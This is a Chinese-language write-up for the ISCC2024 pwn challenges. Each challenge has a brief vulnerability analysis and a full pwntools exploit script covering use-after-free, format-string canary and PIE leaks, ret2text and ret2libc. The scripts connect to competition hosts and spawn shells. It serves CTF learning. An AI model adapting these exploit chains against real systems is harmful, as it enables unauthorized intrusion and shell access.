ISCC2024
练武题
chaos
考点:基础UAF
分析
1.首先将附件放入IDA查看主函数功能,进入菜单函数:
- 注意到选项5不太一样,跟进该功能模块的函数查看:
- 分析得到该功能存在UAF漏洞,system(/bin/sh) 执行的前提是指针ptr指向的内容前四个字符是“Flag”,因此利用UAF漏洞将该堆块收回,接着填充内容为“Flag”即可获取shell,最后进入靶机输入 cat /flag.txt 获取flag。
exp
# 最基本的UAF,键入选项五,申请0x68【键入size=96】大小的堆块,输入“Flag”即可获取shell。
from pwn import *
io = remote('182.92.237.102',10010)
io.interactive()
# ISCC{751503af-4116-45a3-a43c-a06add4a9386}
easyshell(⭐)
考点:64位leak_fmt + PIE基地址跳转。
坑点:后门函数不能填充起始地址【可能是因为堆栈不平衡】,使用 mov rdi /bin/sh 处地址即可。
分析
- 首先分析主要函数core_code函数代码如下,发现存在栈溢出漏洞和格式化字符串漏洞【需要输入flagis前缀来触发】:
- 由于程序运行存在while循环,可以无限次输入,直到输入exit才会退出循环,执行 rbp+0x8 地址的内容。由于程序存在canary保护并且开启了PIE,因此可以利用fmt泄露canary的值和栈上某一函数的实际地址。
【由于PIE开启后,函数地址后12位字节不会变化,因此IDA里面查得函数地址后三位是不会变的。】
然后利用 程序基地址 = 该函数实际地址 - IDA里面对应该函数的后三位地址,进而得到基地址;而实际
后门函数地址 = 基地址 + IDA里面对应地址后三位,填充到返回地址。最后利用 exit 跳转到后门函数获取shell。
分析程序栈结构得到所需canary偏移位 15,泄露函数【main+254】偏移是17,IDA对应地址为 0x1520。
exp
# 【开启PIE,低地址跳转】ret2text,
# 首先输入 flagis + %n$p 获取canary 和 main+254 实际地址,进而得到基地址,
# 加上后门函数的偏移得到真实地址。然后利用gets栈溢出覆盖返回地址为后门函数地址
# 【直接填充起始地址会出错,填充 mov rdi /bin/sh 处地址可以打通】,即可获得shell。
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('182.92.237.102',10011)
p1 = b'flagisa' + b'%15$p'
p2 = b'flagisa' + b'%17$p'
io.sendlineafter(b'>>',p1)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.sendlineafter(b'>>',p2)
io.recvuntil(b'0x')
main_254 = int(io.recv(12),16)
print(hex(main_254))
base = main_254 - 0x520
shell = 0x291 + base
print(hex(shell))
p2 = b'a'*0x38+p64(canary)+p64(0)+p64(shell)
io.sendlineafter(b'>>',p2)
io.sendlineafter(b'>>',b'exit')
io.interactive()
# ISCC{b1e99cf8-d13f-4a99-a12e-3ca0b0716d1a}
Flag
考点:fmt + 32位ret2libc3
坑点:libc版本问题
分析
分析welcome函数,发现格式化字符串漏洞,可以泄露canary。back函数存在read栈溢出,打ret2libc_3泄露libc的基地址,然后在线搜索libc版本。下载并使用system函数和/bin/sh字符串地址,构造system(/bin/sh) 填充返回地址,获取shell。
本地测试查看canary偏移量。
exp
# 格式化字符串泄漏canary,32位ret2libc3。注意libc版本问题
from pwn import *
io = remote('182.92.237.102',10012)
elf = ELF('./Flag')
context(log_level = 'debug')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['back']
p1 = b'%19$p'
io.sendlineafter(b"what's the content?\n",p1)
io.recvuntil(b'0x')
canary = int(io.recvline(),16)
offset = 0x88
pop_ebx = 0x8049022
p2 = b'a'*offset + p32(canary) + 3*p32(0) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendlineafter(b'Input:\n',p2)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
libc_base = puts_addr - libc.sym['puts']
sym = libc_base + libc.sym['system']
bin = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a'*offset + p32(canary) + 3*p32(0) + p32(sym) + p32(0) + p32(bin)
io.sendlineafter(b'Input:\n',payload2)
io.interactive()
# ISCC{38a24130-0a34-490b-836b-0442c858e5aa}
shopping(⭐⭐)
参考ctfshow–pwn180【还没做…】,几乎一模一样。
分析
略
exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('182.92.237.102',10019)
elf = ELF('./shopping')
system_plt = elf.plt['system']
io.sendlineafter('Enter the password: \n',"I'm ready for shopping")
def add(size,n,content=''):
io.sendlineafter(b'Action:',b'1')
io.sendlineafter(b'Item ID: ',str(size))
io.sendlineafter(b'Quantity: ',str(n))
if content == '':
io.sendlineafter('Add gift message? (0/1): ','0')
else:
io.sendlineafter('Add gift message? (0/1): ','1')
io.sendafter(b'Message: ',content)
for i in range(12):
add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
io.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload)
io.interactive()
# ISCC{xdyxrI87xohgzADH6wp5Xh6uonw61xa6WfLr}
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
#io = remote('127.0.0.1',10000)
io = remote('pwn.challenge.ctf.show',28117)
elf = ELF('./pwn180')
system_plt = elf.plt['system']
io.sendlineafter('password:',"WTF Arena has a secret!")
def add(size,n,content=''):
io.sendlineafter('Action:','1')
io.sendlineafter('Size:',str(size))
io.sendlineafter('Pad blocks:',str(n))
if content == '':
io.sendlineafter('Content? (0/1):','0')
else:
io.sendlineafter('Content? (0/1):','1')
io.sendafter('Input:',content)
for i in range(12):
add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
io.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload)
io.interactive()
擂台题
great
考点:32位ret2libc_3
分析
首先根据IDA源码依次输入“yes”进入welcome函数 和“OK”进入great函数。在great函数发现栈溢出,直接打ret2libc_3即可,将第一次返回地址填充为great函数地址,这样第二次就不用一层一层进来了。
exp
# 常规32位 ret2libc3
from pwn import *
from LibcSearcher import *
io = remote('182.92.237.102',10014)
elf = ELF('./great')
context(log_level = 'debug')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['great']
io.sendlineafter(b'ISCC?\n',b'yes')
io.sendlineafter(b'great.\n',b'OK')
payload1 = b'a'*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendlineafter(b'Here it is!\n',payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
sym = libc_base + libc.dump('system')
bin = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*112 + p32(sym) + p32(main_addr) + p32(bin)
io.sendlineafter(b'Here it is!\n',payload2)
io.interactive()
# ISCC{1c2bac74-155f-4082-9300-807d5414da63}